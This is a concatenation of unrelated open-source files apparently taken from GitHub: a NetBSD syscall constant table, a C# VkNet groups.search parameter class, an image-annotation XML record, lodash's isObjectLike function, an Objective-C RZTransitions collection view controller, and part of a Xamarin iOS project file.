SYS_TIMER_CREATE = 235 // { int|sys||timer_create(clockid_t clock_id, struct sigevent *evp, timer_t *timerid); }
SYS_TIMER_DELETE = 236 // { int|sys||timer_delete(timer_t timerid); }
SYS_TIMER_GETOVERRUN = 239 // { int|sys||timer_getoverrun(timer_t timerid); }
SYS_FDATASYNC = 241 // { int|sys||fdatasync(int fd); }
SYS_MLOCKALL = 242 // { int|sys||mlockall(int flags); }
SYS_MUNLOCKALL = 243 // { int|sys||munlockall(void); }
SYS_SIGQUEUEINFO = 245 // { int|sys||sigqueueinfo(pid_t pid, const siginfo_t *info); }
SYS_MODCTL = 246 // { int|sys||modctl(int cmd, void *arg); }
SYS___POSIX_RENAME = 270 // { int|sys||__posix_rename(const char *from, const char *to); }
SYS_SWAPCTL = 271 // { int|sys||swapctl(int cmd, void *arg, int misc); }
SYS_MINHERIT = 273 // { int|sys||minherit(void *addr, size_t len, int inherit); }
SYS_LCHMOD = 274 // { int|sys||lchmod(const char *path, mode_t mode); }
SYS_LCHOWN = 275 // { int|sys||lchown(const char *path, uid_t uid, gid_t gid); }
SYS_MSYNC = 277 // { int|sys|13|msync(void *addr, size_t len, int flags); }
SYS___POSIX_CHOWN = 283 // { int|sys||__posix_chown(const char *path, uid_t uid, gid_t gid); }
SYS___POSIX_FCHOWN = 284 // { int|sys||__posix_fchown(int fd, uid_t uid, gid_t gid); }
SYS___POSIX_LCHOWN = 285 // { int|sys||__posix_lchown(const char *path, uid_t uid, gid_t gid); }
SYS_GETSID = 286 // { pid_t|sys||getsid(pid_t pid); }
SYS___CLONE = 287 // { pid_t|sys||__clone(int flags, void *stack); }
SYS_FKTRACE = 288 // { int|sys||fktrace(int fd, int ops, int facs, pid_t pid); }
SYS_PREADV = 289 // { ssize_t|sys||preadv(int fd, const struct iovec *iovp, int iovcnt, int PAD, off_t offset); }
SYS_PWRITEV = 290 // { ssize_t|sys||pwritev(int fd, const struct iovec *iovp, int iovcnt, int PAD, off_t offset); }
SYS___GETCWD = 296 // { int|sys||__getcwd(char *bufp, size_t length); }
SYS_FCHROOT = 297 // { int|sys||fchroot(int fd); }
SYS_LCHFLAGS = 304 // { int|sys||lchflags(const char *path, u_long flags); }
SYS_ISSETUGID = 305 // { int|sys||issetugid(void); }
SYS_UTRACE = 306 // { int|sys||utrace(const char *label, void *addr, size_t len); }
SYS_GETCONTEXT = 307 // { int|sys||getcontext(struct __ucontext *ucp); }
SYS_SETCONTEXT = 308 // { int|sys||setcontext(const struct __ucontext *ucp); }
SYS__LWP_CREATE = 309 // { int|sys||_lwp_create(const struct __ucontext *ucp, u_long flags, lwpid_t *new_lwp); }
SYS__LWP_EXIT = 310 // { int|sys||_lwp_exit(void); }
SYS__LWP_SELF = 311 // { lwpid_t|sys||_lwp_self(void); }
SYS__LWP_WAIT = 312 // { int|sys||_lwp_wait(lwpid_t wait_for, lwpid_t *departed); }
SYS__LWP_SUSPEND = 313 // { int|sys||_lwp_suspend(lwpid_t target); }
SYS__LWP_CONTINUE = 314 // { int|sys||_lwp_continue(lwpid_t target); }
SYS__LWP_WAKEUP = 315 // { int|sys||_lwp_wakeup(lwpid_t target); }
SYS__LWP_GETPRIVATE = 316 // { void *|sys||_lwp_getprivate(void); }
SYS__LWP_SETPRIVATE = 317 // { void|sys||_lwp_setprivate(void *ptr); }
SYS__LWP_KILL = 318 // { int|sys||_lwp_kill(lwpid_t target, int signo); }
SYS__LWP_DETACH = 319 // { int|sys||_lwp_detach(lwpid_t target); }
SYS__LWP_UNPARK = 321 // { int|sys||_lwp_unpark(lwpid_t target, const void *hint); }
SYS__LWP_UNPARK_ALL = 322 // { ssize_t|sys||_lwp_unpark_all(const lwpid_t *targets, size_t ntargets, const void *hint); }
SYS__LWP_SETNAME = 323 // { int|sys||_lwp_setname(lwpid_t target, const char *name); }
SYS__LWP_GETNAME = 324 // { int|sys||_lwp_getname(lwpid_t target, char *name, size_t len); }
SYS__LWP_CTL = 325 // { int|sys||_lwp_ctl(int features, struct lwpctl **address); }
SYS___SIGACTION_SIGTRAMP = 340 // { int|sys||__sigaction_sigtramp(int signum, const struct sigaction *nsa, struct sigaction *osa, const void *tramp, int vers); }
SYS_PMC_GET_INFO = 341 // { int|sys||pmc_get_info(int ctr, int op, void *args); }
SYS_PMC_CONTROL = 342 // { int|sys||pmc_control(int ctr, int op, void *args); }
SYS_RASCTL = 343 // { int|sys||rasctl(void *addr, size_t len, int op); }
SYS_KQUEUE = 344 // { int|sys||kqueue(void); }
SYS__SCHED_SETPARAM = 346 // { int|sys||_sched_setparam(pid_t pid, lwpid_t lid, int policy, const struct sched_param *params); }
SYS__SCHED_GETPARAM = 347 // { int|sys||_sched_getparam(pid_t pid, lwpid_t lid, int *policy, struct sched_param *params); }
SYS__SCHED_SETAFFINITY = 348 // { int|sys||_sched_setaffinity(pid_t pid, lwpid_t lid, size_t size, const cpuset_t *cpuset); }
SYS__SCHED_GETAFFINITY = 349 // { int|sys||_sched_getaffinity(pid_t pid, lwpid_t lid, size_t size, cpuset_t *cpuset); }
SYS_SCHED_YIELD = 350 // { int|sys||sched_yield(void); }
SYS_FSYNC_RANGE = 354 // { int|sys||fsync_range(int fd, int flags, off_t start, off_t length); }
SYS_UUIDGEN = 355 // { int|sys||uuidgen(struct uuid *store, int count); }
SYS_GETVFSSTAT = 356 // { int|sys||getvfsstat(struct statvfs *buf, size_t bufsize, int flags); }
SYS_STATVFS1 = 357 // { int|sys||statvfs1(const char *path, struct statvfs *buf, int flags); }
SYS_FSTATVFS1 = 358 // { int|sys||fstatvfs1(int fd, struct statvfs *buf, int flags); }
SYS_EXTATTRCTL = 360 // { int|sys||extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
SYS_EXTATTR_SET_FILE = 361 // { int|sys||extattr_set_file(const char *path, int attrnamespace, const char *attrname, const void *data, size_t nbytes); }
SYS_EXTATTR_GET_FILE = 362 // { ssize_t|sys||extattr_get_file(const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_DELETE_FILE = 363 // { int|sys||extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
SYS_EXTATTR_SET_FD = 364 // { int|sys||extattr_set_fd(int fd, int attrnamespace, const char *attrname, const void *data, size_t nbytes); }
SYS_EXTATTR_GET_FD = 365 // { ssize_t|sys||extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_DELETE_FD = 366 // { int|sys||extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
SYS_EXTATTR_SET_LINK = 367 // { int|sys||extattr_set_link(const char *path, int attrnamespace, const char *attrname, const void *data, size_t nbytes); }
SYS_EXTATTR_GET_LINK = 368 // { ssize_t|sys||extattr_get_link(const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_DELETE_LINK = 369 // { int|sys||extattr_delete_link(const char *path, int attrnamespace, const char *attrname); }
SYS_EXTATTR_LIST_FD = 370 // { ssize_t|sys||extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
SYS_EXTATTR_LIST_FILE = 371 // { ssize_t|sys||extattr_list_file(const char *path, int attrnamespace, void *data, size_t nbytes); }
SYS_EXTATTR_LIST_LINK = 372 // { ssize_t|sys||extattr_list_link(const char *path, int attrnamespace, void *data, size_t nbytes); }
SYS_SETXATTR = 375 // { int|sys||setxattr(const char *path, const char *name, const void *value, size_t size, int flags); }
SYS_LSETXATTR = 376 // { int|sys||lsetxattr(const char *path, const char *name, const void *value, size_t size, int flags); }
SYS_FSETXATTR = 377 // { int|sys||fsetxattr(int fd, const char *name, const void *value, size_t size, int flags); }
SYS_GETXATTR = 378 // { int|sys||getxattr(const char *path, const char *name, void *value, size_t size); }
SYS_LGETXATTR = 379 // { int|sys||lgetxattr(const char *path, const char *name, void *value, size_t size); }
SYS_FGETXATTR = 380 // { int|sys||fgetxattr(int fd, const char *name, void *value, size_t size); }
SYS_LISTXATTR = 381 // { int|sys||listxattr(const char *path, char *list, size_t size); }
SYS_LLISTXATTR = 382 // { int|sys||llistxattr(const char *path, char *list, size_t size); }
SYS_FLISTXATTR = 383 // { int|sys||flistxattr(int fd, char *list, size_t size); }
SYS_REMOVEXATTR = 384 // { int|sys||removexattr(const char *path, const char *name); }
SYS_LREMOVEXATTR = 385 // { int|sys||lremovexattr(const char *path, const char *name); }
SYS_FREMOVEXATTR = 386 // { int|sys||fremovexattr(int fd, const char *name); }
SYS_GETDENTS = 390 // { int|sys|30|getdents(int fd, char *buf, size_t count); }
SYS_SOCKET = 394 // { int|sys|30|socket(int domain, int type, int protocol); }
SYS_GETFH = 395 // { int|sys|30|getfh(const char *fname, void *fhp, size_t *fh_size); }
SYS_MOUNT = 410 // { int|sys|50|mount(const char *type, const char *path, int flags, void *data, size_t data_len); }
SYS_MREMAP = 411 // { void *|sys||mremap(void *old_address, size_t old_size, void *new_address, size_t new_size, int flags); }
SYS_PSET_CREATE = 412 // { int|sys||pset_create(psetid_t *psid); }
SYS_PSET_DESTROY = 413 // { int|sys||pset_destroy(psetid_t psid); }
SYS_PSET_ASSIGN = 414 // { int|sys||pset_assign(psetid_t psid, cpuid_t cpuid, psetid_t *opsid); }
SYS__PSET_BIND = 415 // { int|sys||_pset_bind(idtype_t idtype, id_t first_id, id_t second_id, psetid_t psid, psetid_t *opsid); }
SYS_POSIX_FADVISE = 416 // { int|sys|50|posix_fadvise(int fd, int PAD, off_t offset, off_t len, int advice); }
SYS_SELECT = 417 // { int|sys|50|select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
SYS_GETTIMEOFDAY = 418 // { int|sys|50|gettimeofday(struct timeval *tp, void *tzp); }
SYS_SETTIMEOFDAY = 419 // { int|sys|50|settimeofday(const struct timeval *tv, const void *tzp); }
SYS_UTIMES = 420 // { int|sys|50|utimes(const char *path, const struct timeval *tptr); }
SYS_ADJTIME = 421 // { int|sys|50|adjtime(const struct timeval *delta, struct timeval *olddelta); }
SYS_FUTIMES = 423 // { int|sys|50|futimes(int fd, const struct timeval *tptr); }
SYS_LUTIMES = 424 // { int|sys|50|lutimes(const char *path, const struct timeval *tptr); }
SYS_SETITIMER = 425 // { int|sys|50|setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
SYS_GETITIMER = 426 // { int|sys|50|getitimer(int which, struct itimerval *itv); }
SYS_CLOCK_GETTIME = 427 // { int|sys|50|clock_gettime(clockid_t clock_id, struct timespec *tp); }
SYS_CLOCK_SETTIME = 428 // { int|sys|50|clock_settime(clockid_t clock_id, const struct timespec *tp); }
SYS_CLOCK_GETRES = 429 // { int|sys|50|clock_getres(clockid_t clock_id, struct timespec *tp); }
SYS_NANOSLEEP = 430 // { int|sys|50|nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
SYS___SIGTIMEDWAIT = 431 // { int|sys|50|__sigtimedwait(const sigset_t *set, siginfo_t *info, struct timespec *timeout); }
SYS__LWP_PARK = 434 // { int|sys|50|_lwp_park(const struct timespec *ts, lwpid_t unpark, const void *hint, const void *unparkhint); }
SYS_KEVENT = 435 // { int|sys|50|kevent(int fd, const struct kevent *changelist, size_t nchanges, struct kevent *eventlist, size_t nevents, const struct timespec *timeout); }
SYS_PSELECT = 436 // { int|sys|50|pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
SYS_POLLTS = 437 // { int|sys|50|pollts(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
SYS_STAT = 439 // { int|sys|50|stat(const char *path, struct stat *ub); }
SYS_FSTAT = 440 // { int|sys|50|fstat(int fd, struct stat *sb); }
SYS_LSTAT = 441 // { int|sys|50|lstat(const char *path, struct stat *ub); }
SYS___SEMCTL = 442 // { int|sys|50|__semctl(int semid, int semnum, int cmd, ... union __semun *arg); }
SYS_SHMCTL = 443 // { int|sys|50|shmctl(int shmid, int cmd, struct shmid_ds *buf); }
SYS_MSGCTL = 444 // { int|sys|50|msgctl(int msqid, int cmd, struct msqid_ds *buf); }
SYS_GETRUSAGE = 445 // { int|sys|50|getrusage(int who, struct rusage *rusage); }
SYS_TIMER_SETTIME = 446 // { int|sys|50|timer_settime(timer_t timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
SYS_TIMER_GETTIME = 447 // { int|sys|50|timer_gettime(timer_t timerid, struct itimerspec *value); }
SYS_NTP_GETTIME = 448 // { int|sys|50|ntp_gettime(struct ntptimeval *ntvp); }
SYS_WAIT4 = 449 // { int|sys|50|wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
SYS_MKNOD = 450 // { int|sys|50|mknod(const char *path, mode_t mode, dev_t dev); }
SYS_FHSTAT = 451 // { int|sys|50|fhstat(const void *fhp, size_t fh_size, struct stat *sb); }
SYS_PIPE2 = 453 // { int|sys||pipe2(int *fildes, int flags); }
SYS_DUP3 = 454 // { int|sys||dup3(int from, int to, int flags); }
SYS_KQUEUE1 = 455 // { int|sys||kqueue1(int flags); }
SYS_PACCEPT = 456 // { int|sys||paccept(int s, struct sockaddr *name, socklen_t *anamelen, const sigset_t *mask, int flags); }
SYS_LINKAT = 457 // { int|sys||linkat(int fd1, const char *name1, int fd2, const char *name2, int flags); }
SYS_RENAMEAT = 458 // { int|sys||renameat(int fromfd, const char *from, int tofd, const char *to); }
SYS_MKFIFOAT = 459 // { int|sys||mkfifoat(int fd, const char *path, mode_t mode); }
SYS_MKNODAT = 460 // { int|sys||mknodat(int fd, const char *path, mode_t mode, uint32_t dev); }
SYS_MKDIRAT = 461 // { int|sys||mkdirat(int fd, const char *path, mode_t mode); }
SYS_FACCESSAT = 462 // { int|sys||faccessat(int fd, const char *path, int amode, int flag); }
SYS_FCHMODAT = 463 // { int|sys||fchmodat(int fd, const char *path, mode_t mode, int flag); }
SYS_FCHOWNAT = 464 // { int|sys||fchownat(int fd, const char *path, uid_t owner, gid_t group, int flag); }
SYS_FEXECVE = 465 // { int|sys||fexecve(int fd, char * const *argp, char * const *envp); }
SYS_FSTATAT = 466 // { int|sys||fstatat(int fd, const char *path, struct stat *buf, int flag); }
SYS_UTIMENSAT = 467 // { int|sys||utimensat(int fd, const char *path, const struct timespec *tptr, int flag); }
SYS_OPENAT = 468 // { int|sys||openat(int fd, const char *path, int oflags, ... mode_t mode); }
SYS_READLINKAT = 469 // { int|sys||readlinkat(int fd, const char *path, char *buf, size_t bufsize); }
SYS_SYMLINKAT = 470 // { int|sys||symlinkat(const char *path1, int fd, const char *path2); }
SYS_UNLINKAT = 471 // { int|sys||unlinkat(int fd, const char *path, int flag); }
SYS_FUTIMENS = 472 // { int|sys||futimens(int fd, const struct timespec *tptr); }
SYS___QUOTACTL = 473 // { int|sys||__quotactl(const char *path, struct quotactl_args *args); }
SYS_POSIX_SPAWN = 474 // { int|sys||posix_spawn(pid_t *pid, const char *path, const struct posix_spawn_file_actions *file_actions, const struct posix_spawnattr *attrp, char *const *argv, char *const *envp); }
SYS_RECVMMSG = 475 // { int|sys||recvmmsg(int s, struct mmsghdr *mmsg, unsigned int vlen, unsigned int flags, struct timespec *timeout); }
SYS_SENDMMSG = 476 // { int|sys||sendmmsg(int s, struct mmsghdr *mmsg, unsigned int vlen, unsigned int flags); }
)
|
{
"pile_set_name": "Github"
}
|
using System;
using Newtonsoft.Json;
using VkNet.Enums.Filters;
using VkNet.Enums.SafetyEnums;
using VkNet.Utils.JsonConverter;
namespace VkNet.Model.RequestParams
{
/// <summary>
/// Параметры метода groups.search
/// </summary>
[Serializable]
public class GroupsSearchParams
{
/// <summary>
/// Текст поискового запроса. строка, обязательный параметр.
/// </summary>
public string Query { get; set; }
/// <summary>
/// Тип сообщества. Возможные значения: group, page, event. строка.
/// </summary>
[JsonConverter(typeof(SafetyEnumJsonConverter))]
public GroupType Type { get; set; }
/// <summary>
/// Идентификатор страны. положительное число.
/// </summary>
public long? CountryId { get; set; }
/// <summary>
/// Идентификатор города. При передаче этого параметра поле country_id
/// игнорируется. положительное число.
/// </summary>
public long? CityId { get; set; }
/// <summary>
/// При передаче значения 1 будут выведены предстоящие события. Учитывается только
/// при передаче в качестве type
/// значения event. флаг, может принимать значения 1 или 0.
/// </summary>
public bool? Future { get; set; }
/// <summary>
/// при передаче значения 1 будут выведены сообщества с включенными товарами.
/// </summary>
[JsonProperty(propertyName: "market")]
public bool? Market { get; set; }
/// <summary>
/// 0 — сортировать по умолчанию (аналогично результатам поиска в полной версии
/// сайта);
/// 1 — сортировать по скорости роста;
/// 2 — сортировать по отношению дневной посещаемости к количеству пользователей;
/// 3 — сортировать по отношению количества лайков к количеству пользователей;
/// 4 — сортировать по отношению количества комментариев к количеству
/// пользователей;
/// 5 — сортировать по отношению количества записей в обсуждениях к количеству
/// пользователей.
/// целое число.
/// </summary>
public GroupSort Sort { get; set; }
/// <summary>
/// Смещение, необходимое для выборки определённого подмножества результатов
/// поиска. По умолчанию — 0. положительное
/// число.
/// </summary>
public long? Offset { get; set; }
/// <summary>
/// Количество результатов поиска, которое необходимо вернуть. Обратите внимание —
/// даже при использовании параметра
/// offset для получения информации доступны только первые 1000 результатов.
/// положительное число, по умолчанию 20, максимальное значение 1000.
/// </summary>
public long? Count { get; set; }
}
}
|
{
"pile_set_name": "Github"
}
|
<image>
<filename>image_004525.jpg</filename>
<folder></folder>
<size>
<width>256</width>
<height>256</height>
</size>
<origSize>
<width>800</width>
<height>800</height>
</origSize>
<generated>1</generated>
</image>
<file>
<filename>image_004525.xml</filename>
<folder></folder>
</file>
<object>
<objectId>1</objectId>
<name>sky</name>
<masks>
<filename>masks/image_004525.mat</filename>
</masks>
<keyword>sky</keyword>
</object>
<objImgSrc>
<filename>highway_art254.jpg</filename>
<folder>spatial_envelope_256x256_static_8outdoorcategories</folder>
<size>
<width>800</width>
<height>800</height>
</size>
<origSize>
<width>256</width>
<height>256</height>
</origSize>
</objImgSrc>
<bgImgSrc>
<filename>coast_nat194.jpg</filename>
<folder>spatial_envelope_256x256_static_8outdoorcategories</folder>
<size>
<width>800</width>
<height>800</height>
</size>
<origSize>
<width>256</width>
<height>256</height>
</origSize>
</bgImgSrc>
|
{
"pile_set_name": "Github"
}
|
/**
* Checks if `value` is object-like. A value is object-like if it's not `null`
* and has a `typeof` result of "object".
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is object-like, else `false`.
* @example
*
* _.isObjectLike({});
* // => true
*
* _.isObjectLike([1, 2, 3]);
* // => true
*
* _.isObjectLike(_.noop);
* // => false
*
* _.isObjectLike(null);
* // => false
*/
function isObjectLike(value) {
return value != null && typeof value == 'object';
}
module.exports = isObjectLike;
|
{
"pile_set_name": "Github"
}
|
//
// RZSimpleCollectionViewController.m
// RZTransitions
//
// Created by Stephen Barnes on 12/11/13.
// Copyright 2014 Raizlabs and other contributors
// http://raizlabs.com/
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
#import "RZSimpleCollectionViewController.h"
#import "RZSimpleColorViewController.h"
#import "RZTransitionInteractionControllerProtocol.h"
#import "RZTransitionsInteractionControllers.h"
#import "RZTransitionsAnimationControllers.h"
#import "RZRectZoomAnimationController.h"
#import "RZTransitionsManager.h"
#import "UIColor+Random.h"
#define kRZCollectionViewCellReuseId @"kRZCollectionViewCellReuseId"
#define kRZCollectionViewNumCells 50
#define kRZCollectionViewCellSize 88
@interface RZSimpleCollectionViewController () < UIViewControllerTransitioningDelegate,
RZTransitionInteractionControllerDelegate,
RZRectZoomAnimationDelegate >
@property (nonatomic, assign) CGPoint circleTransitionStartPoint;
@property (nonatomic, assign) CGRect transitionCellRect;
@property (nonatomic, strong) RZOverscrollInteractionController *presentOverscrollInteractor;
@property (nonatomic, strong) RZRectZoomAnimationController *presentDismissAnimationController;
@end
@implementation RZSimpleCollectionViewController
- (void)viewDidLoad
{
[super viewDidLoad];
[self.collectionView registerClass:[UICollectionViewCell class] forCellWithReuseIdentifier:kRZCollectionViewCellReuseId];
// TODO: Currently the RZOverscrollInteractor will take over the collection view's delegate, meaning that ```didSelectItemAtIndexPath:```
// will not be forwarded back. RZOverscrollInteractor requires a bit of a rewrite to use KVO instead of delegation to address this.
// self.presentOverscrollInteractor = [[RZOverscrollInteractionController alloc] init];
// [self.presentOverscrollInteractor attachViewController:self withAction:RZTransitionAction_Present];
// [self.presentOverscrollInteractor setNextViewControllerDelegate:self];
// [[RZTransitionsManager shared] setInteractionController:self.presentOverscrollInteractor
// fromViewController:[self class]
// toViewController:nil
// forAction:RZTransitionAction_Present];
self.presentDismissAnimationController = [[RZRectZoomAnimationController alloc] init];
[self.presentDismissAnimationController setRectZoomDelegate:self];
self.circleTransitionStartPoint = CGPointZero;
self.transitionCellRect = CGRectZero;
[[RZTransitionsManager shared] setAnimationController:self.presentDismissAnimationController
fromViewController:[self class]
forAction:RZTransitionAction_PresentDismiss];
[self setTransitioningDelegate:[RZTransitionsManager shared]];
}
- (void)viewDidAppear:(BOOL)animated
{
// TODO: ** Cannot set the scroll view delegate and the collection view delegate at the same time **
// [self.presentOverscrollInteractor watchScrollView:self.collectionView];
}
#pragma mark - New VC Helper Methods
- (UIViewController *)newColorVCWithColor:(UIColor *)color
{
RZSimpleColorViewController *newColorVC = [[RZSimpleColorViewController alloc] initWithColor:color];
[newColorVC setTransitioningDelegate:[RZTransitionsManager shared]];
// TODO: Hook up next VC's dismiss transition
return newColorVC;
}
#pragma mark - UICollectionViewDelegate
- (void)collectionView:(UICollectionView *)collectionView didSelectItemAtIndexPath:(NSIndexPath *)indexPath
{
UIColor *cellBackgroundColor = [collectionView cellForItemAtIndexPath:indexPath].backgroundColor;
UIViewController *colorVC = [self newColorVCWithColor:cellBackgroundColor];
self.circleTransitionStartPoint = [collectionView convertPoint:[collectionView cellForItemAtIndexPath:indexPath].center toView:self.view];;
self.transitionCellRect = [collectionView convertRect:[collectionView cellForItemAtIndexPath:indexPath].frame toView:self.view];
// Present VC
[self presentViewController:colorVC animated:YES completion:nil];
}
#pragma mark - UICollectionViewDataSource
- (NSInteger)collectionView:(UICollectionView *)collectionView numberOfItemsInSection:(NSInteger)section
{
return kRZCollectionViewNumCells;
}
- (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath
{
UICollectionViewCell* cell = [collectionView dequeueReusableCellWithReuseIdentifier:kRZCollectionViewCellReuseId forIndexPath:indexPath];
[cell setBackgroundColor:[UIColor randomColor]];
return cell;
}
#pragma mark - RZTransitionInteractorDelegate
- (UIViewController *)nextViewControllerForInteractor:(id<RZTransitionInteractionController>)interactor
{
return [self newColorVCWithColor:nil];
}
#pragma mark - RZRectZoomAnimationDelegate
- (CGRect)rectZoomPosition
{
return self.transitionCellRect;
}
#pragma mark - RZCirclePushAnimationDelegate
- (CGPoint)circleCenter
{
return self.circleTransitionStartPoint;
}
- (CGFloat)circleStartingRadius
{
return (kRZCollectionViewCellSize / 2.0f);
}
@end
// 版权属于原作者
// http://code4app.com (cn) http://code4app.net (en)
// 发布代码于最专业的源码分享网站: Code4App.com
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">iPhoneSimulator</Platform>
<ProductVersion>8.0.30703</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{D1DA62A6-8598-434B-B081-5E15D2AF3D43}</ProjectGuid>
<ProjectTypeGuids>{FEACFBD2-3405-455C-9665-78FE426C6842};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<TemplateGuid>{6143fdea-f3c2-4a09-aafa-6e230626515e}</TemplateGuid>
<OutputType>Exe</OutputType>
<RootNamespace>MandelAnima.iOS</RootNamespace>
<IPhoneResourcePrefix>Resources</IPhoneResourcePrefix>
<AssemblyName>MandelAnima.iOS</AssemblyName>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|iPhoneSimulator' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\iPhoneSimulator\Debug</OutputPath>
<DefineConstants>DEBUG</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>false</ConsolePause>
<MtouchArch>x86_64</MtouchArch>
<MtouchLink>None</MtouchLink>
<MtouchDebug>true</MtouchDebug>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|iPhoneSimulator' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\iPhoneSimulator\Release</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<MtouchLink>None</MtouchLink>
<MtouchArch>x86_64</MtouchArch>
<ConsolePause>false</ConsolePause>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|iPhone' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\iPhone\Debug</OutputPath>
<DefineConstants>DEBUG</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>false</ConsolePause>
<MtouchArch>ARM64</MtouchArch>
<CodesignKey>iPhone Developer</CodesignKey>
<MtouchDebug>true</MtouchDebug>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|iPhone' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\iPhone\Release</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<MtouchArch>ARM64</MtouchArch>
<ConsolePause>false</ConsolePause>
<CodesignKey>iPhone Developer</CodesignKey>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Ad-Hoc|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\Ad-Hoc</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<MtouchArch>ARM64</MtouchArch>
<BuildIpa>True</BuildIpa>
<CodesignProvision>Automatic:AdHoc</CodesignProvision>
<CodesignKey>iPhone Distribution</CodesignKey>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'AppStore|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\AppStore</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<MtouchArch>ARM64</MtouchArch>
<CodesignProvision>Automatic:AppStore</CodesignProvision>
<CodesignKey>iPhone Distribution</CodesignKey>
<CodesignEntitlements>Entitlements.plist</CodesignEntitlements>
</PropertyGroup>
<ItemGroup>
<Compile Include="Main.cs" />
<Compile Include="AppDelegate.cs" />
<None Include="Entitlements.plist" />
<None Include="Info.plist" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<InterfaceDefinition Include="Resources\LaunchScreen.storyboard" />
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Contents.json">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon1024.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon180.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon167.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon152.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon120.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon87.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon80.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon76.png">
<Visible>false</Visible>
</ImageAsset>
